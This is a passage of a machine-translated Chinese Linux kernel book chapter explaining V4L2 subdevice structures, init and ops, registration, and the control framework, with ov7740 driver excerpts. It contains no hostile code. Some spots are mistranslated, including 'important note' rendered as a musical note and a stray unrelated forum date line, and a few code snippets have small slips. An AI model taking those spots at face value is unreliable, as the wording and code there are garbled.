这是指向`struct v4l2_subdev_ops`的指针,它代表一组操作,应该由驱动设置,以提供内核可以依赖于该子设备的回调。 -* `ctrl_handler`是指向`struct v4l2_ctrl_handler`的指针。 它表示此子设备提供的控制列表,我们将在*V4L2 Controls Infrastructure*部分看到。 -* `name`是子设备的唯一名称。 它应在子设备初始化后由驱动设置。 对于 I2C 变量的初始化,内核分配的默认名称为`("%s %d-%04x", driver->name, i2c_adapter_id(client->adapter), client->addr)`。 当包含**媒体控制器**的支持时,此名称用作媒体实体名称。 -* `grp_id`是驱动特定的,在异步模式下由内核提供,用于对相似的子设备进行分组。 -* `dev_priv`是指向设备私有数据(如果有的话)的指针。 -* `host_priv`是指向附接子设备的设备使用的私有数据的指针。 -* `devnode`是该子设备的设备节点,由内核在调用`v4l2_device_register_subdev_nodes()`时设置,不要与构建在相同结构的顶部上的桥接设备混淆。 您应该记住,每个`v4l2`元素(无论是子设备还是网桥)都是视频设备。 -* `dev`是指向物理设备的指针(如果有)。 驱动可以使用`void``v4l2_set_subdevdata(struct v4l2_subdev *sd, void *p)`设置此值,也可以使用`void *v4l2_get_subdevdata(const struct v4l2_subdev *sd)`获取此值。 -* `fwnode`是此子设备的固件节点对象句柄。 在较早的内核版本中,此成员过去是`struct device_node *of_node`,并指向子设备的**设备树**(**dt**)节点。 然而,内核开发人员发现使用通用的`struct fwnode_handle`更好,因为它允许在设备树节点/ACPI 设备之间进行切换,根据该设备树节点/ACPI 设备在平台上使用它。 换句话说,它不是`dev->of_node->fwnode`就是`dev->fwnode`,以非`NULL`为准。 - -`async_list`、`asd`、`subdev_notifier`和`notifier`元素是 V4L2-异步框架的一部分,我们将在下一节中看到。 不过,此处简要介绍了这些元素: - -* `async_list`:当向异步核心注册时,核心使用此成员将此子设备链接到全局`subdev_list`(这是不属于任何通知器的孤立子设备的列表,这意味着此子设备已在其父网桥之前注册)或链接到其父网桥的`notifier->done`列表。 我们将在下一章[*第 8 章*](08.html#_idTextAnchor342)*与 V4L2 异步和媒体控制器框架*集成中详细讨论这一点。 -* `asd`:此字段为`struct v4l2_async_subdev`类型,并抽象异步核心中的该子设备。 -* `subdev_notifier`:这是该子设备隐式注册的通知器,以防需要通知它探测其他子设备。 它通常用于系统,其中流式流水线涉及多个子设备,其中子设备 N 需要被通知对子设备 N-1 的探测。 -* `notifier`:这是由异步核心设置的,与其底层`.asd`异步子设备匹配的通知器相对应。 -* `pdata`:这是子设备平台数据的公共部分。 - -## 子设备初始化 - -每个子设备驱动都必须有一个`struct v4l2_subdev`结构,可以是独立的,也可以是嵌入到较大的特定于设备的结构中。 建议使用第二种情况,因为它允许跟踪设备状态。 以下是典型设备特定结构的示例: - -```sh -struct mychip_struct { -    struct v4l2_subdev sd; -[...] -    /* device speific fields*/ -[...] -}; -``` - -在访问 V4L2 子设备之前,需要使用`v4l2_subdev_init()`API 进行初始化。 但是,对于具有基于 I2C 或 SPI 的控制接口(通常是摄像头传感器)的子设备,内核提供`v4l2_spi_subdev_init()`和`v4l2_i2c_subdev_init()` 变体: - -```sh -void v4l2_subdev_init(struct v4l2_subdev *sd, -                       const struct v4l2_subdev_ops *ops) -void v4l2_i2c_subdev_init(struct v4l2_subdev *sd, -                       struct i2c_client *client, -                       const struct v4l2_subdev_ops *ops) -void v4l2_spi_subdev_init(struct v4l2_subdev *sd, -                          struct spi_device *spi, -                          const struct v4l2_subdev_ops *ops) -``` - -所有这些 API 都将指向`struct v4l2_subdev`结构的指针作为第一个参数。 然后,使用我们特定于设备的数据结构注册我们的子设备将如下所示: - -```sh -v4l2_i2c_subdev_init(&mychip_struct->sd, client, subdev_ops); -/*or*/ -v4l2_subdev_init(&mychip_struct->sd, subdev_ops); -``` - -`spi`/`i2c`变量包装了`v4l2_subdev_init()`函数。 此外,它们还需要底层的特定于总线的结构作为第二个参数。 此外,这些特定于总线的变体将存储子设备对象(作为第一个参数给出)作为低级的特定于总线的设备数据,反之亦然,方法是将低级的特定于总线的结构存储为子设备的私有数据。 这样,`i2c_client`(或`spi_device`)和`v4l2_subdev`彼此指向,例如,通过拥有指向 I2C 客户端的指针,您可以调用`i2c_set_clientdata()`(如`struct v4l2_subdev *sd = i2c_get_clientdata(client);`)来获取指向我们的内部子设备对象的指针,并使用`container_of`宏(如`struct mychip_struct *foo = container_of(sd, struct mychip_struct, sd);`)来获取指向芯片特定结构的指针。 另一方面,如果拥有指向子设备对象的指针,则可以使用`v4l2_get_subdevdata()`来获取底层总线特定结构。 - -正如引入`struct v4l2_subdev`数据结构时所解释的那样,最不重要但并非最后一点是,这些特定于总线的变体将扰乱子设备名称。 摘录`v4l2_i2c_subdev_init()`可以更好地理解这一点: - -```sh -void v4l2_i2c_subdev_init(struct v4l2_subdev *sd, -                          struct i2c_client *client, -                          const struct v4l2_subdev_ops *ops) -{ -   v4l2_subdev_init(sd, ops); -   sd->flags |= V4L2_SUBDEV_FL_IS_I2C; -   /* the owner is the same as the i2c_client's driver owner */ -   sd->owner = client->dev.driver->owner; -   sd->dev = &client->dev; -   /* i2c_client and v4l2_subdev point to one another */      -   v4l2_set_subdevdata(sd, client); -   i2c_set_clientdata(client, sd); -   /* initialize name */ -   snprintf(sd->name, sizeof(sd->name), -            "%s %d-%04x", client->dev.driver->name,     -            i2c_adapter_id(client->adapter), client->addr); -} -``` - -在前面三个初始化 API 中的每一个中,`ops`是最后一个参数,是指向表示由子设备公开的/su 操作的`struct v4l2_subdev_ops`的指针。 不过,我们将在下一节中讨论这个问题。 - -## 子设备操作 - -子设备是以某种方式连接到主桥接设备的设备。 在整个媒体设备中,每个 IP(子设备)都有其功能集。 这些功能必须通过内核开发人员为常用功能定义好的回调向内核公开。 这就是`struct v4l2_subdev_ops`的目的。 - -然而,一些子设备可以执行如此之多的不同和无关的事情,以至于甚至`struct v4l2_subdev_ops`也被分成小的分类一致的子结构 OPS,每个集合相关的功能,使得`struct v4l2_subdev_ops`成为顶层 OPS 结构,如下所述: - -```sh -struct v4l2_subdev_ops { -    const struct v4l2_subdev_core_ops          *core; -    const struct v4l2_subdev_tuner_ops         *tuner; -    const struct v4l2_subdev_audio_ops         *audio; -    const struct v4l2_subdev_video_ops         *video; -    const struct v4l2_subdev_vbi_ops           *vbi; -    const struct v4l2_subdev_ir_ops            *ir; -    const struct v4l2_subdev_sensor_ops        *sensor; -    const struct v4l2_subdev_pad_ops           *pad; -}; -``` - -重要音符 - -应该只为底层 Charr 设备文件节点向用户空间公开的子设备提供操作。 注册后,此设备文件节点将具有与前面讨论的相同的文件操作,即`v4l2_fops`。 然而,正如我们在前面看到的,这些低级操作只包装(处理)`video_device->fops`。 因此,为了达到`v4l2_subdev_ops`,内核使用`subdev->video_device->fops`作为中介,并在初始化时为其分配另一个文件 ops(`subdev->vdev->fops = &v4l2_subdev_fops;`),该文件 op 将包装并调用真正的 subdev ops。 这里的调用链是`v4l2_fops ==> v4l2_subdev_fops ==> our_custom_subdev_ops`。 - -您可以看到,前面的顶级操作结构由指向类别操作结构的指针组成,如下所示: - -* `v4l2_subdev_core_ops`类型的`core`:这是核心操作类别,提供通用回调,如日志记录和调试。 它还允许提供额外的和自定义的 ioctl(如果 ioctl 不适合任何类别,则特别有用)。 -* 流开始时调用`v4l2_subdev_video_ops`类型的`video`:`.s_stream`。 它根据选定的帧大小和格式将不同的配置值写入摄像机的寄存器。 -* `v4l2_subdev_pad_ops`类型的`pad`:对于支持多种帧大小和图像采样格式的摄像机,这些操作允许用户从可用选项中进行选择。 -* `tuner`、`audio`、`vbi`和`ir`超出了本书的范围。 -* `sensor``v4l2_subdev_sensor_ops`类型:这涵盖摄像机传感器操作,通常是针对已知故障传感器,这些传感器需要跳过一些帧或线路,因为它们已损坏。 - -每个类别结构中的每个回调都对应一个 ioctl。 路由实际上是由`drivers/media/v4l2- core/v4l2-subdev.c`中定义的`subdev_do_ioctl()`在较低级别上完成的,并由对应于`v4l2_subdev_fops.unlocked_ioctl`的`subdev_ioctl()`间接调用。 真正的调用链应该是`v4l2_fops ==> v4l2_subdev_fops.unlocked_ioctl ==> our_custom_subdev_ops`。 - -这种顶层`struct v4l2_subdev_ops`结构的性质正好证实了 V4L2 可能支持的设备范围有多广。 子设备驱动不感兴趣的操作类别可以保留`NULL`。 还要注意的是,`.core`操作对于所有子 DEV 都是通用的。 这并不意味着它是强制性的;它仅仅意味着任何类别的子设备驱动都可以自由实现`.core`操作,因为它的回调是独立于类别的。 - -### 结构 V4L2_subdev_core_ops - -此结构实现泛型回调,并具有以下定义: - -```sh -struct v4l2_subdev_core_ops { -    int (*log_status)(struct v4l2_subdev *sd); -    int (*load_fw)(struct v4l2_subdev *sd); -    long (*ioctl)(struct v4l2_subdev *sd, unsigned int cmd, -                   void *arg); -[...] -#ifdef CONFIG_COMPAT -    long (*compat_ioctl32)(struct v4l2_subdev *sd,                            unsigned int cmd, -                           unsigned long arg); -#endif -#ifdef CONFIG_VIDEO_ADV_DEBUG -   int (*g_register)(struct v4l2_subdev *sd, -                     struct v4l2_dbg_register *reg); -   int (*s_register)(struct v4l2_subdev *sd, -                     const struct v4l2_dbg_register *reg); -#endif -   int (*s_power)(struct v4l2_subdev *sd, int on); -   int (*interrupt_service_routine)(struct v4l2_subdev *sd, -                                    u32 status,                                     bool *handled); -   int (*subscribe_event)(struct v4l2_subdev *sd,                           struct v4l2_fh *fh, -                          struct v4l2_event_subscription *sub); -   int (*unsubscribe_event)(struct v4l2_subdev *sd, -                          struct v4l2_fh *fh,                           struct v4l2_event_subscription *sub); -}; -``` - -在前面的结构中,我们不感兴趣的字段已被删除。 其余的定义如下: - -* `.log_status`用于日志记录。 为此,您应该使用`v4l2_info()`宏。 -* `.s_power`将子设备(例如相机)置于省电模式(`on==0`)或正常操作模式(`on==1`)。 -* 必须调用`.load_fw`操作来加载子设备的固件。 -* 如果子设备提供额外的 ioctl 命令,则应定义`.ioctl`。 -* `.g_register`和`.s_register`仅用于高级调试,需要设置内核配置选项`CONFIG_VIDEO_ADV_DEBUG`。 这些操作允许读取和写入硬件寄存器,以响应`VIDIOC_DBG_G_REGISTER`和`VIDIOC_DBG_S_REGISTER`ioctls。 `reg`参数(类型为`v4l2_dbg_register`,在`include/uapi/linux/videodev2.h`中定义)由应用填充和给出。 -* `.interrupt_service_routine`在该子设备引发中断状态时,桥从其 IRQ 处理程序内调用`.interrupt_service_routine`(它应该使用`v4l2_subdev_call`),以便该子设备处理细节。 `handled`是桥驱动提供的输出参数,但必须由子设备驱动填充,以便通知(如*TRUE 或 FALSE*)其处理结果。 我们处于 IRQ 环境中,所以一定不能睡觉。 I2C/SPI 总线后面的子器件可能应该在线程环境中调度它们的工作。 -* `.subscribe_event`和`.unsubscribe_event`用于订阅 e 或取消订阅控制更改事件。 请看一下实现这一点的其他 V4L2 驱动,看看如何实现您的驱动。 - -### Struct V4L2_subdev_video_ops 或 struct V4L2_subdev_pad_ops - -人们通常需要决定是实现`struct v4l2_subdev_video_ops`还是`struct v4l2_subdev_pad_ops`,因为有些回调在这两个结构中都是多余的。 问题是,`struct v4l2_subdev_video_ops`结构的回调是在 V4L2 设备以视频模式打开时使用的,视频模式包括电视、摄像头传感器和帧缓冲区。 到现在为止还好。 **PAD**的概念与媒体控制器框架紧密相关。 这意味着,只要不需要与媒体控制器框架集成,也就不需要`struct v4l2_subdev_pad_ops`。 但是,媒体控制器框架通过实体对象(我们稍后会看到)抽象子设备,实体对象通过 PAD 连接到其他元素。 在这种情况下,使用与焊盘相关的功能而不是与子器件相关的功能是有意义的,因此使用`struct v4l2_subdev_pad_ops`而不是`struct v4l2_subdev_video_ops`。 - -由于我们还没有引入媒体框架,所以我们只对定义如下的`struct v4l2_subdev_video_ops`结构感兴趣: - -```sh -struct v4l2_subdev_video_ops { -    int (*querystd)(struct v4l2_subdev *sd, v4l2_std_id *std); -[...] -    int (*s_stream)(struct v4l2_subdev *sd, int enable); -    int (*g_frame_interval)(struct v4l2_subdev *sd, -                  struct v4l2_subdev_frame_interval *interval); -    int (*s_frame_interval)(struct v4l2_subdev *sd, -                  struct v4l2_subdev_frame_interval *interval); -[...] -}; -``` - -在前面的摘录中,出于可读性的考虑,我删除了与电视和视频输出相关的回调以及那些与摄像设备无关的回调,这些回调在某种程度上对我们来说是无用的 LSO。 对于常用的类型,它们的定义如下: - -* `querystd`:这是`VIDIOC_QUERYSTD()`ioctl 处理程序代码的回调。 -* `s_stream`:根据`enable`参数的值,通知驱动视频流将开始或已经停止。 -* `g_frame_interval`:这是`VIDIOC_SUBDEV_G_FRAME_INTERVAL()`ioctl 处理程序代码的回调。 -* `s_frame_interval`:这是`VIDIOC_SUBDEV_S_FRAME_INTERVAL()`ioctl 处理程序代码的回调。 - -### 结构 V4L2_SUBDEV_SENSOR_OPS - -有些传感器在开始流式传输时会产生个初始垃圾帧。 这样的传感器可能需要一些时间才能确保其某些特性的稳定性。 这种结构使得有可能通知内核要跳过的帧数,以避免垃圾。 此外,一些传感器可能总是在顶部生成具有一定数量的损坏线条的图像,或者在这些线条中嵌入它们的元数据。 在这两种情况下,它们产生的结果帧总是损坏的。 此结构还允许我们指定每帧在被抓取之前要跳过的行数。 - -下面是`v4l2_subdev_sensor_ops`结构的定义: - -```sh -struct v4l2_subdev_sensor_ops { -    int (*g_skip_top_lines)(struct v4l2_subdev *sd,                             u32 *lines); -    int (*g_skip_frames)(struct v4l2_subdev *sd, u32 *frames); -}; -``` - -`g_skip_top_lines`用于指定传感器的每个图像中要跳过的行数,而`g_skip_frames`允许我们指定要跳过的初始帧数,以避免垃圾,如下例所示: - -```sh -#define OV5670_NUM_OF_SKIP_FRAMES 2 -static int ov5670_get_skip_frames(struct v4l2_subdev *sd,                                   u32 *frames) -{ -    *frames = OV5670_NUM_OF_SKIP_FRAMES; -    return 0; -} -``` - -`lines`和`frames`参数是输出参数。 每个回调都应该返回`0`。 - -### 调用子设备操作 - -毕竟,如果提供了个回调函数,那么它们就是要被调用的。 也就是说,调用操作回调与直接调用一样简单,如下所示: - -```sh -err = subdev->ops->video->s_stream(subdev, 1); -``` - -但是,有一种更方便、更安全的方法来实现这一点,即使用`v4l2_subdev_call()`宏: - -```sh -err = v4l2_subdev_call(subdev, video, s_stream, 1); -``` - -在`include/media/v4l2-subdev.h`中定义的宏将执行以下操作: - -* 它将首先检查子设备是否为`NULL`,否则返回`-ENODEV`。 -* 如果类别(我们示例中的`subdev->video`)或回调本身(我们示例中的`subdev->video->s_stream`)是`NULL`,则它将返回`-ENOIOCTLCMD`,否则它将返回`subdev->ops->video->s_stream`操作的实际结果。 - -也可以调用个子设备的全部或子集: - -```sh -v4l2_device_call_all(dev, 0, core, g_chip_ident, &chip); -``` - -跳过任何不支持此回调的子设备,并忽略错误结果。 如果要检查错误,请使用以下命令: - -```sh -err = v4l2_device_call_until_err(dev, 0, core,                                  g_chip_ident, &chip); -``` - -除`-ENOIOCTLCMD`以外的任何错误都将带着该错误退出此 e 循环。 如果没有发生错误(除`- ENOIOCTLCMD`外),则返回`0`。 - -## 传统子设备(Un)注册 - -根据媒体设备的性质,有两种方式可将子设备注册到网桥: - -1. **同步方式**:这是传统方式。 在此模式下,网桥驱动负责注册子设备。 子设备驱动是从网桥驱动内部实现的,或者您必须为网桥驱动找到一种方法来获取它所负责的子设备的句柄。 通常是通过平台数据,或者通过网桥驱动暴露一组将由子设备驱动使用的 API 来实现的,这将允许网桥驱动知道这些子设备(例如,通过在私有内部列表中跟踪它们)。使用这种方法,网桥驱动必须知道连接到它的子设备,并且确切地知道何时注册它们。 这通常是内部子设备的情况,例如 SoC 或复杂 PCI(E)板中的视频数据处理单元,或者 USB 摄像机中的摄像机传感器或连接到 SoC 的摄像机传感器。 -2. **异步模式**:在这种模式下,系统可以独立于网桥设备使用子设备的信息,这通常是基于设备树的系统的情况。 这将在下一章[*第 8 章*](08.html#_idTextAnchor342),*集成 V4L2 异步和媒体控制器框架*中讨论。 - -但是,为了让网桥驱动注册子设备,它必须调用`v4l2_device_register_subdev()`,同时必须调用`v4l2_device_unregister_subdev()`来注销该子设备。 同时,在向核心注册子设备之后,可能只需要为设置了标志`V4L2_SUBDEV_FL_HAS_DEVNODE`的子设备创建其各自的字符文件节点`/dev/v4l-subdevX`。 为此,您可以使用`v4l2_device_register_subdev_nodes()`: - -```sh -int v4l2_device_register_subdev(struct v4l2_device *v4l2_dev, -                                struct v4l2_subdev *sd) -void v4l2_device_unregister_subdev(struct v4l2_subdev *sd) -int v4l2_device_register_subdev_nodes(struct                                       v4l2_device *v4l2_dev) -``` - -`v4l2_device_register_subdev()`将把`sd`插入`v4l2_dev->subdevs`,这是该 V4L2 设备维护的子设备列表。 如果`subdev`模块在注册之前消失,则此操作可能失败。 成功调用此函数后,`subdev->v4l2_dev`字段指向`v4l2_device`。 如果成功,此函数将返回`0`,或者`v4l2_device_unregister_subdev()`将从该列表中删除`sd`。 然后,`v4l2_device_register_subdev_nodes()`遍历`v4l2_dev->subdevs`,并为设置了标志`V4L2_SUBDEV_FL_HAS_DEVNODE`的每个子设备创建特殊的字符文件节点(`/dev/v4l-subdevX`)。 - -重要音符 - -`/dev/v4l-subdevX`设备节点允许直接控制子设备的高级和硬件特定功能。 - -既然我们已经了解了子设备的初始化、操作和注册,让我们在下一节中看看 V4L2 控件。 - -# V4L2 控制基础设施 - -某些设备具有可由用户设置的控件,以便修改某些已定义的属性。 其中一些控件可能支持预定义值列表、默认值、调整等。 问题是,不同的设备可能会提供具有不同值的不同控件。 此外,虽然其中一些控件是标准的,但其他控件可能是特定于供应商的。 控件框架的主要目的是向用户呈现控件,而不假设控件的用途。 在本节中,我们只讨论标准控件。 - -控制框架依赖于两个主要对象,这两个对象都是在`include/media/v4l2- ctrls.h`中定义的,就像该框架提供的其余数据结构和 API 一样。 第一个是`struct v4l2_ctrl`。 此结构描述控件属性并跟踪控件的值。 第二个也是最后一个是`struct v4l2_ctrl_handler`,它跟踪所有控件。 它们的详细定义如下: - -```sh -struct v4l2_ctrl_handler { -    [...] -    struct mutex *lock; -    struct list_head ctrls; -    v4l2_ctrl_notify_fnc notify; -    void *notify_priv; -    [...] -}; -``` - -在前面的`struct v4l2_ctrl_handler`的定义摘录中,`ctrls`表示此处理程序拥有的控件的列表。 `notify`是每当控件更改值时调用的通知回调。 此回调是在保持处理程序的`lock`的情况下调用的。 最后,`notify_priv`是作为通知参数给出的上下文数据。 下一个是`struct v4l2_ctrl`,定义如下: - -```sh -struct v4l2_ctrl { -    struct list_head node; -    struct v4l2_ctrl_handler *handler; -    unsigned int is_private:1; -    [...] -    const struct v4l2_ctrl_ops *ops; -    u32 id; -    const char *name; -    enum v4l2_ctrl_type type; -    s64 minimum, maximum, default_value; -    u64 step; -    unsigned long flags; [...] -} -``` - -这个结构本身就代表着控制,有重要的成员在场。 这些定义如下: - -* `node`用于在处理程序的控件列表中插入控件。 -* `handler`是此控件所属的处理程序。 -* `ops`属于`struct v4l2_ctrl_ops`类型,表示此控件的获取/设置操作。 -* `id`是此控件的 ID。 -* `name`是控件的名称。 -* `minimum`和`maximum`分别是控件接受的最小值和最大值。 -* `default_value`是控件的默认值。 -* `step`是此非菜单控件的递增/递减步骤。 -* `flags` covers the control's flags. While the whole flag list is defined in `include/uapi/linux/videodev2.h`, some of the commonly used ones are as follows: - - -`V4L2_CTRL_FLAG_DISABLED`,表示控件关闭 - - -`V4L2_CTRL_FLAG_READ_ONLY`,表示只读控件 - - -`V4L2_CTRL_FLAG_WRITE_ONLY`,用于只写控件 - - 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 - -* `is_private`, if set, will prevent this control from being added to any other handlers. It makes this control private to the initial handler where it is added. This can be used to prevent making a `subdev` control available in the V4L2 driver controls. - - 重要音符 - - **菜单控件**是这样的控件:不需要根据最小/最大/步长的值,而是允许在特定元素(通常在`enum`中)之间进行选择,例如一种菜单,因此得名为*菜单控件*。 - -V4L2 控件由唯一的 ID 标识。它们以`V4L2_CID_`为前缀,在`include/uapi/linux/v4l2-controls.h`中都可用。 视频采集设备中支持的常见标准控件如下(以下列表不是详尽的): - -```sh -#define V4L2_CID_BRIGHTNESS        (V4L2_CID_BASE+0) -#define V4L2_CID_CONTRAST          (V4L2_CID_BASE+1) -#define V4L2_CID_SATURATION        (V4L2_CID_BASE+2) -#define V4L2_CID_HUE (V4L2_CID_BASE+3) -#define V4L2_CID_AUTO_WHITE_BALANCE      (V4L2_CID_BASE+12) -#define V4L2_CID_DO_WHITE_BALANCE  (V4L2_CID_BASE+13) -#define V4L2_CID_RED_BALANCE (V4L2_CID_BASE+14) -#define V4L2_CID_BLUE_BALANCE      (V4L2_CID_BASE+15) -#define V4L2_CID_GAMMA       (V4L2_CID_BASE+16) -#define V4L2_CID_EXPOSURE    (V4L2_CID_BASE+17) -#define V4L2_CID_AUTOGAIN    (V4L2_CID_BASE+18) -#define V4L2_CID_GAIN  (V4L2_CID_BASE+19) -#define V4L2_CID_HFLIP (V4L2_CID_BASE+20) -#define V4L2_CID_VFLIP (V4L2_CID_BASE+21) -[...] -#define V4L2_CID_VBLANK  (V4L2_CID_IMAGE_SOURCE_CLASS_BASE + 1) #define V4L2_CID_HBLANK  (V4L2_CID_IMAGE_SOURCE_CLASS_BASE + 2) #define V4L2_CID_LINK_FREQ (V4L2_CID_IMAGE_PROC_CLASS_BASE + 1) -``` - -上面的列表仅包括标准控件。 若要支持自定义控件,应根据控件的基类描述符添加其 ID,并确保该 ID 不是重复的。 要向驱动添加控制支持,应首先使用`v4l2_ctrl_handler_init()`宏来初始化控制处理程序。 此宏接受要初始化的处理程序以及该处理程序可以引用的控件数量,如其原型所示: - -```sh -v4l2_ctrl_handler_init(hdl, nr_of_controls_hint) -``` - -完成控制处理程序后,可以在此控制处理程序上调用`v4l2_ctrl_handler_free()`以释放其资源。 一旦控件处理程序初始化,就可以创建控件并将其添加到其中。 对于标准的 V4L2 控件,您可以使用`v4l2_ctrl_new_std()`来分配和初始化新控件: - -```sh -struct v4l2_ctrl *v4l2_ctrl_new_std(                               struct v4l2_ctrl_handler *hdl, -                               const struct v4l2_ctrl_ops *ops,                               u32 id, s64 min, s64 max,                                u64 step, s64 def); -``` - -在大多数字段中,此函数将基于控件 ID。但是,对于自定义控件(这里不讨论),您应该使用`v4l2_ctrl_new_custom()`帮助器。 在前面的原型中,以下元素定义如下: - -* `hdl`表示先前初始化的控件处理程序。 -* `ops`属于`struct v4l2_ctrl_ops`类型,表示控制操作。 -* `id`是控件 ID,定义为`V4L2_CID_*`。 -* `min`是此控件可以接受的最小值。 根据控件 ID 的不同,该值可能会被内核损坏。 -* `max`是此控件可以接受的最大值。 根据控件 ID 的不同,该值可能会被内核损坏。 -* `step`是控件的步长值。 -* `def`是控件的默认值。 - -控件应该是设置/获取的。 这就是前面的操作论证的目的。 这意味着在初始化控件之前,您应该首先定义在设置/获取此控件的值时将调用的操作。 也就是说,整个控制列表可以由相同的操作人员处理。 在这种情况下,操作回调必须使用`switch ... case`来处理不同的控件。 - -如前所述,控制操作属于`struct v4l2_ctrl_ops`类型,定义如下: - -```sh -struct v4l2_ctrl_ops { -    int (*g_volatile_ctrl)(struct v4l2_ctrl *ctrl); -    int (*try_ctrl)(struct v4l2_ctrl *ctrl); -    int (*s_ctrl)(struct v4l2_ctrl *ctrl); -}; -``` - -前面的结构由三个回调组成,每个回调都有特定的用途: - -* `g_volatile_ctrl`获取给定控件的新值。 提供此回调仅对易失性(由硬件本身更改的控件,并且大多数时间是只读的,例如信号强度或自动增益)控件才有意义。 -* 如果设置,则调用`try_ctrl`来测试要应用的控件的值是否有效。 仅当通常的最小/最大/步骤检查不充分时,提供此回调才有意义。 -* `s_ctrl`被调用来设置控件的值。 - -或者,您可以在控件处理程序上调用`v4l2_ctrl_handler_setup()`,以便将此处理程序的控件设置为其默认值。 这有助于确保硬件和驱动的内部数据结构同步: - -```sh -int v4l2_ctrl_handler_setup(struct v4l2_ctrl_handler *hdl); -``` - -此函数迭代给定处理程序中的所有控件,并使用每个控件的默认值调用`s_ctrl`回调。 - -为了总结我们在整个 V4L2 控件接口部分看到的内容,现在让我们更详细地学习`OV7740`摄像机传感器驱动的摘录(在`drivers/media/i2c/ov7740.c`中),特别是处理 V4L2 控件的部分。 - -首先,我们实现了控件`ops->sg_ctrl`回调: - -```sh -static int ov7740_get_volatile_ctrl(struct v4l2_ctrl *ctrl) -{ -    struct ov7740 *ov7740 = container_of(ctrl->handler, -    struct ov7740, ctrl_handler); -    int ret; -    switch (ctrl->id) { -    case V4L2_CID_AUTOGAIN: -        ret = ov7740_get_gain(ov7740, ctrl); -        break; -    default: -        ret = -EINVAL; -        break; -    } -    return ret; -} -``` - -前面的回调只处理`V4L2_CID_AUTOGAIN`的控件 ID。 这是有意义的,因为在*AUTO*模式下,硬件可能会更改增益值。 此驱动按如下方式实现`ops->s_ctrl`控件: - -```sh -static int ov7740_set_ctrl(struct v4l2_ctrl *ctrl) -{ -    struct ov7740 *ov7740 = -             container_of(ctrl->handler, struct ov7740,                           ctrl_handler); -    struct i2c_client *client =     v4l2_get_subdevdata(&ov7740->subdev); -    struct regmap *regmap = ov7740->regmap; -    int ret; -    u8 val = 0; -[...] -    switch (ctrl->id) { -    case V4L2_CID_AUTO_WHITE_BALANCE: -        ret = ov7740_set_white_balance(ov7740, ctrl->val); break; -    case V4L2_CID_SATURATION: -        ret = ov7740_set_saturation(regmap, ctrl->val); break; -    case V4L2_CID_BRIGHTNESS: -        ret = ov7740_set_brightness(regmap, ctrl->val); break; -    case V4L2_CID_CONTRAST: -        ret = ov7740_set_contrast(regmap, ctrl->val); break; -    case V4L2_CID_VFLIP: -        ret = regmap_update_bits(regmap, REG_REG0C, -                                 REG0C_IMG_FLIP, val); break; -    case V4L2_CID_HFLIP: -        val = ctrl->val ? REG0C_IMG_MIRROR : 0x00; -        ret = regmap_update_bits(regmap, REG_REG0C, -                                 REG0C_IMG_MIRROR, val); -        break; -    case V4L2_CID_AUTOGAIN: -        if (!ctrl->val) -            return ov7740_set_gain(regmap, ov7740->gain->val); -        ret = ov7740_set_autogain(regmap, ctrl->val); break; -    case V4L2_CID_EXPOSURE_AUTO: -        if (ctrl->val == V4L2_EXPOSURE_MANUAL) -        return ov7740_set_exp(regmap, ov7740->exposure->val); -        ret = ov7740_set_autoexp(regmap, ctrl->val); break; -    default: -        ret = -EINVAL; break; -    } -[...] -    return ret; -} -``` - -前面的代码块还显示了使用`V4L2_CID_EXPOSURE_AUTO`控件实现菜单控件是多么容易,其可能值在`enum v4l2_exposure_auto_type`中枚举。 最后,将为控件创建提供的控件操作结构定义如下: - -```sh -static const struct v4l2_ctrl_ops ov7740_ctrl_ops = { -    .g_volatile_ctrl = ov7740_get_volatile_ctrl, -    .s_ctrl = ov7740_set_ctrl, -}; -``` - -定义后,此控件 OP 可用于初始化控件。 以下是`ov7740_init_controls()`方法(在`probe()`函数中调用)出于可读性目的的摘录、损坏和收缩: - -```sh -static int ov7740_init_controls(struct ov7740 *ov7740) -{ -[...] -    struct v4l2_ctrl *auto_wb; -    struct v4l2_ctrl *gain; -    struct v4l2_ctrl *vflip; -    struct v4l2_ctrl *auto_exposure; -    struct v4l2_ctrl_handler *ctrl_hdlr -    v4l2_ctrl_handler_init(ctrl_hdlr, 12); -    auto_wb = v4l2_ctrl_new_std(ctrl_hdlr, &ov7740_ctrl_ops, -                                V4L2_CID_AUTO_WHITE_BALANCE,                                 0, 1, 1, 1); -    vflip = v4l2_ctrl_new_std(ctrl_hdlr, &ov7740_ctrl_ops, -                              V4L2_CID_VFLIP, 0, 1, 1, 0); -    gain = v4l2_ctrl_new_std(ctrl_hdlr, &ov7740_ctrl_ops, -                             V4L2_CID_GAIN, 0, 1023, 1, 500); -    /* let's mark this control as volatile*/ -    gain->flags |= V4L2_CTRL_FLAG_VOLATILE; -    contrast = v4l2_ctrl_new_std(ctrl_hdlr, &ov7740_ctrl_ops, -                                 V4L2_CID_CONTRAST, 0, 127,                                  1, 0x20); -    ov7740->auto_exposure = -                   v4l2_ctrl_new_std_menu(ctrl_hdlr,                                        &ov7740_ctrl_ops, -                                       V4L2_CID_EXPOSURE_AUTO,                                        V4L2_EXPOSURE_MANUAL, -                                       0, V4L2_EXPOSURE_AUTO); -[...] -    ov7740->subdev.ctrl_handler = ctrl_hdlr; -    return 0; -} -``` - -您可以在前面函数的返回路径上看到分配给子设备的控制处理程序。 最后,在代码中的某个地方(ov7740 的驱动从子设备的`v4l2_subdev_video_ops.s_stream`回调中执行此操作),您应该将所有控件设置为其默认值: - -```sh -ret = v4l2_ctrl_handler_setup(ctrl_hdlr); -if (ret) { -    dev_err(&client->dev, "%s control init failed (%d)\n", -             __func__, ret); -   goto error; -} -``` - -T 这里是关于[https://www.kernel.org/doc/html/v4.19/media/kapi/v4l2-controls.html](https://www.kernel.org/doc/html/v4.19/media/kapi/v4l2-controls.html)的 V4L2 控制的更多信息。 - -## 一句关于控件继承的话 - -子设备驱动通常实现网桥的 V4L2 驱动已经实现的控制。 - -当在`v4l2_subdev`和`v4l2_device`上调用`v4l2_device_register_subdev()`并设置了这两个字段的`ctrl_handler`时,子设备的控件将被添加到`v4l2_device`控件中(通过`v4l2_ctrl_add_handler()`帮助器,将给定处理程序的控件添加到另一个处理程序)。 将跳过已由`v4l2_device`实现的子设备控制。 这意味着 V4L2 驱动总是可以覆盖`subdev`控件。 - -也就是说,控件可能会在给定子设备上执行低级别的硬件特定操作,子设备驱动可能不希望该控件对 V4L2 驱动可用(因此不会添加到其控制处理程序中)。 在这种情况下,子设备驱动必须将控件的`is_private`成员设置为`1`(或`true`)。 这将使控件成为子设备的私有控件。 - -重要音符 - -即使子设备控件被添加到 V4L2 设备,它们仍然可以通过控制设备节点访问。 - -# 